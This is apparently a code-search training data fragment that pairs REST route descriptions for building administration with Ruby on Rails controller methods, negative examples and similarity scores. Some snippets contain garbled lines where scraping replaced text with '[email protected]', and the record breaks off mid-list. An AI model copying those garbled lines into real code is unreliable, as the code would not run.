"0.5905118",
"0.5903441",
"0.5890434",
"0.5878183",
"0.5871772",
"0.5867505",
"0.58662415",
"0.5848477",
"0.5844929",
"0.58240455",
"0.58172184",
"0.58164287",
"0.5790059",
"0.57843256",
"0.5782468",
"0.5774718",
"0.5774718",
"0.57715905",
"0.5769977",
"0.57606596",
"0.5759438",
"0.5731511",
"0.57295007",
"0.5723822",
"0.5723614",
"0.572183",
"0.5719286",
"0.57173085",
"0.57140154",
"0.57118213",
"0.5709543",
"0.57093155",
"0.5708515",
"0.56937647",
"0.56833184",
"0.56678903",
"0.5661061",
"0.5660264",
"0.5656761",
"0.56551194",
"0.5639574",
"0.56393945",
"0.56386554",
"0.5636191",
"0.5627606",
"0.56063807"
] | 0.0 | -1 |
POST /admin/buildings POST /admin/buildings.json | def create
@admin_building = Admin::Building.new(admin_building_params)
@admin_building.user = current_user
respond_to do |format|
if @admin_building.save
@admin_buildings = buildings(current_user)
create_default_service(@admin_building)
format.html { redirect_to @admin_building, notice: t(:building_notice_created) }
format.json { render :show, status: :created, location: @admin_building }
format.js { render :layout => false }
else
format.html { render :new }
format.json { render json: @admin_building.errors, status: :unprocessable_entity }
format.js { render :layout => false }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @building = Building.new(building_params)\n\n if @building.save\n render json: @building, status: :created, location: @building\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: \"Building was successfully created.\" }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building = Building.new(building_params)\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building was successfully created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building = Building.new(building_params)\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: 'Building created.' }\n format.json { render :show, status: :created, location: @building }\n else\n format.html { render :new }\n err = @building.errors\n format.json { render json: err, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building_type = BuildingType.new(params[:building_type])\n\n respond_to do |format|\n if @building_type.save\n format.html { redirect_to @building_type, notice: 'Building type was successfully created.' }\n format.json { render json: @building_type, status: :created, location: @building_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @building_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def index\n @buildings = Building.all\n end",
"def create\n @buildingdetail = Buildingdetail.new(buildingdetail_params)\n\n respond_to do |format|\n if @buildingdetail.save\n format.html { redirect_to @buildingdetail, notice: \"Buildingdetail was successfully created.\" }\n format.json { render :show, status: :created, location: @buildingdetail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @buildingdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building = Building.new(building_params)\n authorize! :create, @building\n\n respond_to do |format|\n if @building.save\n format.html { redirect_to @building, notice: t('.create_ok', item: @building.name) }\n format.json { render json: @building, status: :created, location: @building }\n else\n format.html { render action: 'new' }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # byebug\n @building = Building.find(listing_params[:building_id])\n @listing = Listing.new(listing_params)\n\n respond_to do |format|\n if @listing.save\n format.html { redirect_to [@building, @listing], notice: 'Listing was successfully created.' }\n format.json { render :show, status: :created, location: @listing }\n format.js {}\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end",
"def building_params\n params.require(:building).permit(:name)\n end",
"def create\n @featured_building = FeaturedBuilding.new(featured_building_params)\n\n respond_to do |format|\n if @featured_building.save\n format.html { redirect_to redirect_path, notice: 'Featured building was successfully created.' }\n format.json { render :show, status: :created, location: @featured_building }\n else\n format.html { render :new }\n format.json { render json: @featured_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build(building)\n @building = building\n end",
"def building_params\n params.require(:building).permit(:owner, :type, :count)\n end",
"def create\n instance_variable_set(resource_instance_variable_name, resource_class.new())\n resource_instance_variable.assign_attributes(building_params)\n respond_to do |format|\n if resource_instance_variable.save\n format.html { redirect_to resource_instance_variable, notice: 'Building was successfully created.' }\n format.json { render :show, status: :created, location: resource_instance_variable }\n else\n format.html { render :new }\n format.json { render json: resource_instance_variable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_stories_params\n params.permit(:building_id, data: [:id, :name, :multiplier, :z, :floor_to_floor_height, :floor_to_ceiling_height, :building_id])\n end",
"def create\n @title = t('view.buildings.modal.involved_building')\n @building = @mobile_intervention.buildings.build(params[:building])\n\n if @building.save\n js_notify message: t('view.buildings.correctly_created'),\n type: 'alert-info js-notify-18px-text', time: 2500\n render partial: 'mobile_interventions/building',\n locals: { building: @building }, content_type: 'text/html'\n else\n render partial: 'new', status: :unprocessable_entity\n end\n end",
"def my_buildings\n \n end",
"def building_params\n params.require(:building).permit(:name, :reference, :city, :adress, :zipcode, :building_image)\n end",
"def create\n #@building = Building.new(params[:building])\n\n respond_to do |format|\n if @building.save\n flash[:notice] = 'Building was successfully created.'\n format.html { redirect_to(@building) }\n format.xml { render :xml => @building, :status => :created, :location => @building }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @building.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @building_type }\n end\n end",
"def create\n @building = Building.new(params[:building])\n\n respond_to do |format|\n if @building.save\n flash[:notice] = 'Building was successfully created.'\n format.html { redirect_to(@building) }\n format.xml { render :xml => @building, :status => :created, :location => @building }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @building.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @complex_buildings = ComplexBuilding.all\n end",
"def create\n p = admin_room_params\n p[:building_id] = params[:building_id]\n @admin_room = Room.new(p)\n\n respond_to do |format|\n if @admin_room.save\n format.html { redirect_to [:admin, @admin_room.building], notice: 'Room was successfully created.' }\n # format.json { render :show, status: :created, location: @admin_room.building }\n else\n format.html { render :new }\n # format.json { render json: @admin_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @complex_building = ComplexBuilding.new(complex_building_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @complex_building.save\n format.html { redirect_to @complex_building, notice: 'Complex Building was successfully created.' }\n format.json { render :show, status: :created, location: @complex_building }\n else\n format.html { render :new }\n format.json { render json: @complex_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_params\n params.require(:building).permit(:name, :history, :image, :latitude, :longitude)\n end",
"def update\n respond_to do |format|\n if @admin_building.update(admin_building_params)\n @admin_buildings = buildings(current_user)\n\n format.html { redirect_to @admin_building, notice: t(:building_notice_updated) }\n format.json { render :show, status: :ok, location: @admin_building }\n format.js { render :layout => false }\n else\n format.html { render :edit }\n format.json { render json: @admin_building.errors, status: :unprocessable_entity }\n format.js { render :layout => false }\n end\n end\n end",
"def building=(value)\n @building = value\n end",
"def index\n @builds = Build.all\n render json: @builds\n end",
"def create\n @building_type = BuildingType.new(params[:building_type])\n\n respond_to do |format|\n if @building_type.save\n flash[:notice] = 'BuildingType was successfully created.'\n format.html { redirect_to(@building_type) }\n format.xml { render :xml => @building_type, :status => :created, :location => @building_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @building_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize UserBuilding\n @user_building = UserBuilding.new(user_building_params)\n\n respond_to do |format|\n if @user_building.save\n format.html { redirect_to @user_building, notice: 'User building was successfully created.' }\n format.json { render :show, status: :created, location: @user_building }\n else\n format.html { render :new }\n format.json { render json: @user_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @apartment = @building.apartments.build(params[:apartment])\n\n respond_to do |format|\n if @apartment.save\n format.html { redirect_to @building, notice: 'Apartment was successfully created.' }\n format.json { render json: @apartment, status: :created, location: @apartment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @builds = current_application.builds\n @build = current_application.builds.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @builds }\n end\n end",
"def building_params\n params.require(:building).permit(:FullNameOfTheBuildingAdministrator, :EmailOfTheAdministratorOfTheBuilding, :PhoneNumberOfTheBuildingAdministrator, :FullNameOfTheTechContactForTheBuilding, :TechContactEmail, :TechContactPhone)\n end",
"def admin_building_params\n params.require(:admin_building).permit(:user_id, :parent_id, :code, :name, :description)\n end",
"def index\n @building = Building.find(params[:building_id])\n @listings = Listing.all\n end",
"def index\n @buildings = @buildings.order(:name)\n session[:sidebar] = 'building'\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render json: @buildings }\n end\n end",
"def building_params\n params.require(:building).permit(:building_type, :desativado, atendimentos_attributes:[:id, :building_id, :usuario_id, :_destroy])\n end",
"def index\n @buildingdetails = Buildingdetail.all\n end",
"def create\n @build = Build.new(build_params)\n\n respond_to do |format|\n if @build.save\n format.html { redirect_to @build, notice: \"Build was successfully created.\" }\n format.json { render :show, status: :created, location: @build }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @building_stage_sub_stage = Building::Stage::SubStage.new(building_stage_sub_stage_params)\n\n respond_to do |format|\n if @building_stage_sub_stage.save\n format.html { redirect_to @building_stage_sub_stage, notice: 'Sub stage was successfully created.' }\n format.json { render :show, status: :created, location: @building_stage_sub_stage }\n else\n format.html { render :new }\n format.json { render json: @building_stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getbuildings\n \n puts params\n custid = params[\"custormerid\"]\n puts custid\n \n buildings = Building.where(:customer_id => custid)\n puts buildings.inspect\n respond_to do |format|\n puts \"pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp\"\n format.json { render json: buildings }\n end\n \n\n end",
"def create\n @build = Build.new(params[:build])\n\n respond_to do |format|\n if @build.save\n format.html { redirect_to @build, notice: 'Build was successfully created.' }\n format.json { render json: @build, status: :created, location: @build }\n else\n format.html { render action: \"new\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def buildingdetail_params\n params.require(:buildingdetail).permit(:building_id, :information, :information_value)\n end",
"def building_select\n p params[\"customer_id\"]\n @buildings = Building.where(customer_id: params[\"customer_id\"])\n respond_to do |format |\n format.json {\n render json: {\n buildings: @buildings\n }\n }\n end\n end",
"def create\n @os_build = OsBuild.new(os_build_params)\n\n respond_to do |format|\n if @os_build.save\n format.html { redirect_to @os_build, notice: 'Os build was successfully created.' }\n format.json { render :show, status: :created, location: @os_build }\n else\n format.html { render :new }\n format.json { render json: @os_build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_params\n params.require(:building).permit(:streetname, :streetno, :postalcode, :avatar, :search, :gst, :qst)\n end",
"def building_and_grounds\n bag = SuperSuperCategory.find_by(name: \"Facilities\")\n super_categories = bag.super_categories\n\n if params[:org]\n @data = build_from_super_super_categories(super_categories, params[:org].to_i)\n else\n @data = build_from_super_super_categories(super_categories, 0)\n end\n\n render json: @data\n end",
"def building(building_id)\n perform_get_request(\"/building/#{building_id}\")\n end",
"def new\n #@building = Building.new\n #APP_CONFIG['BusinessUnit'].keys.each { |bu| @building.building_occupancies.build(:business_unit => bu, :capacity => 0) }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building }\n end\n end",
"def building\n if params[:customer].present?\n @building = Building.where(customer_id:params[:customer])\n else\n @building = Building.all\n end\n # Now i just need to send back a json response, as well as handle the original html response.(same for battery and elevator)\n respond_to do |format|\n format.json {\n render json: {building: @building}\n }\n end\n end",
"def build_room_buildings()\n buildings = {}\n $item_by_id.fetch('/buildings/')[:map].each do |building, roomlist|\n roomlist = [] if roomlist.nil?\n\n bcode = building.to_s.upcase\n list = []\n roomlist.map(&$to_room_or_nil).reject(&:nil?).each do |r|\n list << r\n end\n rooms.select { |r| r[:slug].upcase.start_with? bcode }.each do |r|\n list << r\n end\n buildings[bcode] = list.uniq { |r| r[:slug] }.sort_by { |r| [r[:rank], r[:conference_room_id]] }\n buildings[bcode].each do |r|\n r[:building] = bcode\n end\n end\n\n # make sure there are no rooms left without a :building meta attribute\n begin\n errors = rooms.select { |r| r[:building].nil? }\n raise \"there are #{errors.size} room(s) without a building assignment, please put them into content/building.yaml: #{errors.map { |r| r[:slug] }.join(\", \")}\" unless errors.empty?\n end\n\n room_to_building = {}\n buildings.each do |bcode, rooms|\n rooms.each do |r|\n room_to_building[r[:slug]] = bcode\n end\n end\n\n [buildings, room_to_building]\n end",
"def new\n @apartment = @building.apartments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @apartment }\n end\n end",
"def get_building\n #check if customer is passed as parameter\n if params[:customer].present?\n #same thing than : select building_id from customer where customer.id = id \n @buildings = Customer.find(params[:customer]).buildings\n \n else\n #if non id is given select all the buildings that are refered in the customer table\n @buildings = Customer.all\n end\n \n if request.xhr?\n #if no error \n #build response \n respond_to do |format|\n #make a json format for the response \n format.json {\n #send the list of corresponding buildings \n render json: {buildings: @buildings}\n }\n end\n end\n end",
"def create\n @built_with = BuiltWith.new(built_with_params)\n respond_to do |format|\n if @built_with.save\n format.html { redirect_to @built_with, notice: 'Built with was successfully created.' }\n format.json { render :show, status: :created, location: @built_with }\n else\n format.html { render :new }\n format.json { render json: @built_with.errors, status: :unprocessable_entity }\n end\n end\n end",
"def quick_form\n\n if params[:building_id].blank?\n @building = Building.new\n @building_selected = false\n else\n @building = Building.find(params[:building_id])\n @building_selected = true\n end\n\n\n @buildings = Building.all\n @localities = Locality.all\n @bhks=BhkConfig.all\n @sources=Flatype.all\n @furnstats=Furnstat.all\n @contacts=Contact.all\n @labellings=Labelling.where(\"is_flat_contact_label=?\", true).all\n @rent_year= RentYear.where('name=?', Time.now.year).first\n\n @flat = @building.flats.build\n @expected_rent = @flat.expected_rents.build\n @available_from = @flat.available_froms.build\n\n if params[:contact]\n @default_contact_id=params[:contact]\n else\n @default_contact_id=0\n end\n\n @[email protected]_contacts.build\n @[email protected]\n @[email protected]\n @[email protected]\n @contact_types=ContactType.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json :@building }\n end\n end",
"def create\n @building = Building.find(params[:building_id])\n @picture = Picture.new(picture_params)\n @picture.building = @building\n @picture.user current_user\n if @picture.save\n render json: @picture, status: :created\n else\n render json: @picture.errors, status: :unprocessable_entity\n end\n end",
"def building_stage_params\n params.require(:building_stage).permit(:stage)\n end",
"def set_admin_building\n @admin_building = Admin::Building.find(params[:id])\n end",
"def building_list(property_id)\n perform_get_request(\"/property/#{property_id}/building/list\")\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @building }\n end\n end",
"def building_autocomplete\n record = resource_class.new street_house_number: params[:house],\n street_prefix: params[:prefix],\n street_name: params[:street],\n street_suffix: params[:suffix],\n locality_id: params[:locality_id]\n record.auto_strip_attributes\n buildings = BuildingsOnStreet.perform(record)\n render json: buildings.to_json\n end",
"def building_params\n params.require(:building).permit(:building_number,\n :street_name,\n :street_address_2,\n :street_address_3,\n :city,\n :state,\n :postal_code,\n :country,\n :latitude,\n :longitude)\n end",
"def update\n @building = Building.find(params[:id])\n\n if @building.update_attributes(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def create\n @ninja = Ninja.new(params[:ninja])\n\n respond_to do |format|\n if @ninja.save\n format.html { redirect_to @ninja, notice: 'Ninja was successfully created.' }\n format.json { render json: @ninja, status: :created, location: @ninja }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ninja.errors, status: :unprocessable_entity }\n end\n end\n end",
"def building_params #pets-string, laundry-int, parking-string, num_apt-int\n params.require(:building).permit(:address, :city, :management, :pets, :laundry, :parking, :number_apartments, :picture)\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def set_building\n @building = Building.find(params[:id])\n end",
"def create\n\n @listing = Listing.new(listing_params)\n\n @listing.save\n\n render json: @listing\n redirect_to listings_path # redirect to home page\n end",
"def create\n @neighborhood = Neighborhood.find(params[:neighborhood_id])\n @submission = @neighborhood.submissions.build(submission_params)\n\n respond_to do |format|\n if @submission.save\n format.html { redirect_to @neighborhood, notice: 'Submission was successfully created.' }\n format.json { render action: 'show', status: :created, location: @submission }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def featured_building_params\n params.require(:featured_building).permit(:building_id, :start_date, :end_date, :active, :user_id, :featured_by, :renew)\n end",
"def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully created.' }\n format.json { render json: @generation, status: :created, location: @generation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_buildings_for_customer\n puts \"get_buildings_for_customer\"\n puts params\n @buildings = Building.where(\"customer_id = ?\", params[:customer_id])\n puts \"here are the buildings:\"\n puts @buildings\n respond_to do |format|\n format.json { render :json => @buildings }\n end\n end",
"def show\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @building_type }\n end\n end",
"def create\n parent_building_material = BuildingMaterial.where(name: building_material_params[\"name\"]).first\n if parent_building_material\n @building_material = parent_building_material.dup\n @building_material.building_material = parent_building_material\n @building_material.section_id = building_material_params[\"section_id\"]\n else\n @building_material = BuildingMaterial.new(building_material_params);\n end\n\n if @building_material.save\n render json: @building_material, status: :created, location: @building_material\n else\n render nothing: true, status: :bad_request\n end\n end",
"def listing_params\n listing_stuff = params.require(:listing).permit(:building_id, :unit_no, :floor_plan, :num_fbaths, :num_hbaths, :advertising, :move_in_special, :commission, :rent_price, :rent_per_period, :photo, :for_sale, :unit_floor_location, :type_of_property, :style, :sqft, :balcony, :liv_area, :efficiency, :faces, :additional_parking_info, :furnished_information, :available_date, :view, :floor, :dinning, :listing_type, :list_date, :expiration_date, :convert_bed, floor_ids: [], dining_area_ids: [], interior_feature_ids: []).to_h\n listing_stuff[:building_id] = params[:building_id]\n listing_stuff\n end",
"def destroy\n @admin_building.destroy\n respond_to do |format|\n format.html { redirect_to admin_buildings_url, notice: t(:building_notice_destroyed) }\n format.json { head :no_content }\n end\n end",
"def create\n if p = create_params\n if building = Building.create(p)\n # Finds a tag and adds it the new building, or if he tag is a new one, creates that tag first\n building.tags.concat(Tag.create_with(name: \"building\").find_or_create_by(name: \"building\"))\n \n # If there are extra tags to add, find/create them and add them\n if !params.permit(:tags)[:tags].blank?\n tags = params.permit(:tags)[:tags].split(\", \")\n for t in tags\n building.tags.concat(Tag.create_with(name: t).find_or_create_by(name: t))\n end\n end\n\n @notice = \"Created the new building.\"\n render :file => \"#{Rails.root}/public/success\", :layout => false\n else\n @notice = \"Create failed.\"\n render :file => \"#{Rails.root}/public/error\", :layout => false\n end\n else\n @notice = \"Invalid variables. Requires lat, long, name, description. Permits code, altitude, tags as well.\"\n render :file => \"#{Rails.root}/public/error\", :layout => false\n end\n end",
"def index\n @apartments = @building.apartments\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apartments }\n end\n end",
"def build_params\n params.require(:build).permit(:number, :version, :releaseNotes, :platform, :buildIdenifier, :accessToken, :domain, :provision, :displayname, :icon, :buildFilePath)\n end",
"def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: \"Building was successfully updated.\" }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @evaluation_builder = @event.evaluation_builders.new(evaluation_builder_params)\n @evaluation_builder.organization_id = @event.organization_id\n respond_to do |format|\n if @evaluation_builder.save\n format.html { redirect_to @evaluation_builder, notice: 'Evaluation builder was successfully created.' }\n format.json { render :show, status: :created, location: @evaluation_builder }\n else\n format.html { render :new }\n format.json { render json: @evaluation_builder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_builds\n filtered_builds.each do |build|\n b = Build.new\n b.build_number = build['build_num']\n b.user = build['committer_name']\n b.stop_time = build['stop_time']\n b.queued_at = build['queued_at']\n b.build_time = build['build_time_millis']\n b.save\n end\n end",
"def new\n\n @flat = Flat.new\n @building=Building.find(params[:building_id])\n\n\n @flat.build_bhk_config\n @bhks=Bhk.all\n @buildings=Building.all\n\n @flat.connections.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flat }\n end\n end",
"def create_branding(params)\n request :post, \"/v3/brandings.json\", params\n end",
"def index\n @builds = Build.all\n end",
"def index\n @builds = Build.all\n end",
"def building_params\n params.require(resource_name).permit(:type, :price, :price_currency)\n end",
"def list_buildings(buildings)\n \tbuildings.each do |place|\n\t\tputs \"#{buildings.index(place)}: #{place}\"\n\tend\nend",
"def create\n @building_block = BuildingBlock.new(building_block_params)\n\n respond_to do |format|\n if @building_block.save\n format.html { redirect_to @building_block, notice: 'Building block was successfully created.' }\n format.json { render :show, status: :created, location: @building_block }\n else\n format.html { render :new }\n format.json { render json: @building_block.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jobposting = Jobposting.new(jobposting_params)\n\n respond_to do |format|\n if @jobposting.save\n format.html { redirect_to @jobposting, notice: 'Jobposting was successfully created.' }\n format.json { render :show, status: :created, location: @jobposting }\n else\n format.html { render :new }\n format.json { render json: @jobposting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if params[:search].nil? || params[:search].empty?\n @buildings = Building.paginate(page: params[:page])\n else\n @buildings = search_buildings(params[:search])\n end\n end",
"def create\n @listing = @commoner.listings.build(listing_params)\n respond_to do |format|\n if @listing.save\n format.html { redirect_to @listing, notice: 'Listing was successfully created.' }\n format.json { render :show, status: :created, location: @listing }\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource_instance_variable.assign_attributes(building_params)\n respond_to do |format|\n if resource_instance_variable.save\n format.html { redirect_to resource_instance_variable, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: resource_instance_variable }\n else\n format.html { render :edit }\n format.json { render json: resource_instance_variable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_building\n @building = Building.where(id: params[:id]).first\n end",
"def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building_type }\n end\n end",
"def build_params\n params.require(:build).permit(:repo_id, :status)\n end",
"def create\n #@opportunity = Opportunity.new(params[:opportunity])\n #@building = Building.find(params[:building_id])\n \n respond_to do |format|\n if @opportunity.save\n flash[:notice] = 'Opportunity was successfully created.'\n format.html { redirect_to(opportunity_path(@opportunity)) }\n format.xml { render :xml => @opportunity, :status => :created, :location => @opportunity }\n else\n flash[:error] = 'Opportunity could not be created.'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @opportunity.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.74110156",
"0.70763534",
"0.7066253",
"0.7038686",
"0.6906155",
"0.6770361",
"0.6710353",
"0.6654732",
"0.66272956",
"0.6558386",
"0.65341383",
"0.64898944",
"0.6466021",
"0.64379084",
"0.6423919",
"0.64228255",
"0.63893676",
"0.63435537",
"0.63275886",
"0.6276221",
"0.6272328",
"0.62653613",
"0.62357855",
"0.6226949",
"0.6205206",
"0.619896",
"0.6198587",
"0.6189585",
"0.6178839",
"0.61542535",
"0.61392105",
"0.6127168",
"0.6104581",
"0.6099789",
"0.6099781",
"0.60900575",
"0.6081065",
"0.60777843",
"0.60676336",
"0.6030288",
"0.6020016",
"0.59985775",
"0.5995023",
"0.5979316",
"0.59477425",
"0.5929435",
"0.59190875",
"0.5909149",
"0.5888876",
"0.58840346",
"0.58783704",
"0.5855282",
"0.58547074",
"0.58484685",
"0.5846064",
"0.5845059",
"0.5840634",
"0.5824087",
"0.58205336",
"0.5817325",
"0.5809074",
"0.5800501",
"0.5800018",
"0.5788894",
"0.5770562",
"0.5748848",
"0.57467574",
"0.57467574",
"0.57467574",
"0.57467574",
"0.57136893",
"0.57063097",
"0.57036555",
"0.5701177",
"0.56818944",
"0.5663559",
"0.5638596",
"0.56284213",
"0.5625932",
"0.55833197",
"0.5579067",
"0.55629265",
"0.55593014",
"0.5555093",
"0.5540691",
"0.5539699",
"0.5532144",
"0.55286425",
"0.55286425",
"0.5528007",
"0.55271053",
"0.54880756",
"0.54860723",
"0.5470898",
"0.5469053",
"0.546044",
"0.5451649",
"0.5448707",
"0.5446857",
"0.54450446"
] | 0.7453756 | 0 |
PATCH/PUT /admin/buildings/1 PATCH/PUT /admin/buildings/1.json | def update
respond_to do |format|
if @admin_building.update(admin_building_params)
@admin_buildings = buildings(current_user)
format.html { redirect_to @admin_building, notice: t(:building_notice_updated) }
format.json { render :show, status: :ok, location: @admin_building }
format.js { render :layout => false }
else
format.html { render :edit }
format.json { render json: @admin_building.errors, status: :unprocessable_entity }
format.js { render :layout => false }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @building = Building.find(params[:id])\n\n if @building.update_attributes(building_params)\n head :no_content\n else\n render json: @building.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: t('.update_ok', item: @building.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n if @building_type.update_attributes(params[:building_type])\n format.html { redirect_to @building_type, notice: 'Building type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @building_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: \"Building was successfully updated.\" }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @building = Building.find(params[:id].to_i)\n respond_to do |format|\n if @building.update(building_params)\n format.html { redirect_to @building, notice: 'Building updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n err = @building.errors\n format.json { render json: err, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @featured_building.update(featured_building_params)\n format.html { redirect_to redirect_path, notice: 'Featured building was successfully updated.' }\n format.json { render :json => { success: true, data: @featured_building } }\n else\n format.html { render :edit }\n format.json { render json: @featured_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @complex_building.update(complex_building_params)\n format.html { redirect_to @complex_building, notice: 'complex_building was successfully updated.' }\n format.json { render :show, status: :ok, location: @complex_building }\n else\n format.html { render :edit }\n format.json { render json: @complex_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @buildingdetail.update(buildingdetail_params)\n format.html { redirect_to @buildingdetail, notice: \"Buildingdetail was successfully updated.\" }\n format.json { render :show, status: :ok, location: @buildingdetail }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @buildingdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource_instance_variable.assign_attributes(building_params)\n respond_to do |format|\n if resource_instance_variable.save\n format.html { redirect_to resource_instance_variable, notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: resource_instance_variable }\n else\n format.html { render :edit }\n format.json { render json: resource_instance_variable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@building = Building.find(params[:id])\n\n respond_to do |format|\n if @building.update_attributes(params[:building])\n flash[:notice] = 'Building was successfully updated.'\n format.html { redirect_to(@building) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @building.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @build = Build.find(params[:id])\n\n respond_to do |format|\n if @build.update_attributes(params[:build])\n format.html { redirect_to @build, notice: 'Build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n if @building_type.update_attributes(params[:building_type])\n flash[:notice] = 'BuildingType was successfully updated.'\n format.html { redirect_to(@building_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @building_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
